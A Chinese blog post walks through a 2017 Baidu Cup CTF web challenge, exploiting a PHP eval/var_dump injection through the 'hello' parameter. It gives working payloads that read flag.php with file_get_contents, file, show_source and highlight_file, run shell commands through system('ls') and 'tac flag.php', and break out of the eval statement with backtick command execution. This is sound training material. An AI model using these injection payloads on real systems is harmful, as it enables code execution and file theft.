首页 > 其他分享 >“百度杯”CTF比赛 2017 二月场-爆破-2

“百度杯”CTF比赛 2017 二月场-爆破-2

时间:2024-03-28 16:02:34浏览次数:20  
标签:函数 flag CTF file eval 2017 php hello 百度

“百度杯”CTF比赛 2017 二月场

爆破-2

类型:misc-web

题目描述:flag不在变量中。

解题方法:打开靶机,得到一段php源码:

代码审计:

1.里面包含了flag.php文件

2.获取hello的值,并用var_dump函数输出相关的变量信息

我们试着传入参数:

?hello=$GLOBALS

这里我们发现flag的信息并没有在变量中,那我们猜测flag的值应该是藏在flag.php的源码中,分析代码是发现这里也没有设置过滤,就可以通过eval( "var_dump($a);");函数,就有好多种方法来获取flag.php的源码

方法一:

file_get_contents函数

file_get_contents函数把整个文件读入一个字符串中

构造payload就可以得到源码:

?hello=file_get_contents('flag.php')

查看网页源码就可以得到flag:

方法二:

file()函数:

file()函数与file_get_contents()类似,不同的是file()将文件作为一个数组返回,数组中的每个单元都是文件中相应的一行,包括换行符在内
构造payload:

?hello=file('flag.php')

方法三:

show_source函数和highlight_file函数:对文件进行高亮显示

用法:可以直接用:

?hello=show_source('flag.php')
?hello=highlight_file('flag.php')

也可以通过该函数对eval()函数进行截断重组,但是要保持eval()函数里面php代码的正确性:

hello=1);show_source('flag.php');echo(1
hello=1);highlight_file('flag.php');echo(1

对应的eval语句就是:

eval( "var_dump(1);show_source('flag.php');echo(1);");

即可得到flag

方法四:

可以通过linux命令来进行读取:

查看里面的文件:

?hello=system('ls')

可以用tac命令来读取flag

tac倒过来就是cat,是将文件倒着显示,即文章最后一行显示在最上边读取flag.php:

?hello=system('tac flag.php')

因为这里没有设置过滤,可以通过对eval()函数截断重组,注意要保持eval()函数里面php代码的正确性

通过测试,cat、tac、more、less、head、tail都可以使用

以cat为例来构造payload:

hello=1);echo `cat flag.php`; echo(1

查看源代码即可得到flag

标签:函数,flag,CTF,file,eval,2017,php,hello,百度
From: https://www.cnblogs.com/xyweiwen/p/18101932

相关文章

  • “百度杯”CTF比赛 2017 二月场-爆破-1
    “百度杯”CTF比赛2017二月场爆破-1:类型:misc-web题目描述:flag就在某六位变量中解题方法:打开靶机,得到一段php代码:现在来分析这一段php源码:1.包含flag.php文件在里面2.需要传入变量hello的值3.正则表达式匹配,一个或多个[A-Za-z0-9]4.var_dump函数用于输出变量的相关信息......
  • buuctf childRSA wp
    题目如下点击查看代码fromrandomimportchoicefromCrypto.Util.numberimportisPrime,sieve_baseasprimesfromflagimportflagdefgetPrime(bits):whileTrue:n=2whilen.bit_length()<bits:n*=choice(primes)......
  • 2017年全国大学生信息安全竞赛-填数游戏
    2017年全国大学生信息安全竞赛填数游戏:题目描述:答案加flag{}解题方法:题目附件下载下来发现是一个.exe文件,运行一下弹出一个输入框,随便输入几个数字,得到一个fail这里我们还是一样的把它放进exeinfope.exe去查看一下他的属性信息:这里我们发现是一个32位的无壳的exe文件,我们将......
  • buuctf之pwn1_sctf_2016
    一、查看属性首先还是必要的查看属性环节:可以知道该文件是一个x86架构下的32位小段ELF程序我们可以先执行一下看看:二、静态分析扔到IDA中看一下,主函数没什么用,这里的vuln函数是必进的,我们进去看看vuln函数这个函数整体分析下来,我也看不太明白是干啥,看到了fgets函数,但......
  • nkctf逆向
    login_systemusername用z3解方程,pass前一半异或解密后一半标准aes换s盒REEZ看起来似乎是解密出了个文件,动调的时候在内存发现ELF头dump出来后发现是关键部分的代码第一步对输入进行了一大堆运算,第二步有个看不懂的加密,第三步异或后输出判断结果。直接用z3解了#脚本来源:h......
  • [ZJCTF 2019]NiZhuanSiWei
    [ZJCTF2019]NiZhuanSiWei审题看到可以传入file,text,和password三个参数。知识点php伪协议,反序列化解题传入text,看到有file_get_content函数,这个函数表示读取$text文件里的值,返回字符串。所以要传入text的为一个文件值,所以使用data协议写入参数。text=data://text/plain......
  • NKCTF2024
    myfirstcms搜索版本跳转到登录页面爆破出用户密码adminAdmin123Extensions>UserDefinedTags->AddUserDefinedTag一句话木马Run拿到flag全世界最简单的CTF拿到源码格式化constexpress=require('express');constbodyParser=require('body-parser');......
  • ISC2016训练赛-phrackCTF-FindKey
    ISC2016训练赛——phrackCTFReverse-FindKey:题目描述:FLAG就是你输入的key解题方法:将题目附件下载下来是一个无后缀名的文件,把他放进exeinfope.exe里查看一下它的信息这里我们看到它不是一个EXE文件,但是下面有提示说是用python,然后我们将他的后缀名改成.py文件,用python打开是......
  • IndiaHacks 2nd Elimination 2017A. Binary Blocks
    https://codeforces.com/contest/838/problem/A二维前缀和的应用,注意可能比较绕然后注意边界可以拿min的替换就行#define_CRT_SECURE_NO_WARNINGS1#include<iostream>#include<vector>#include<algorithm>#include<math.h>#include<sstream>#include<string&g......
  • 百度百科审核不通过全攻略,一看就会!
    在撰写百度百科词条时,遇到审核不通过的情况可能会让人感到沮丧。然而,我们并不需要灰心,而是要通过一些方法来改善文章质量,使其符合百度百科的要求。腾轩科技传媒分享百度百科审核不通过全攻略,一看就会!一、了解百度百科的审核标准在撰写百度百科词条之前,首先要了解百度百科的......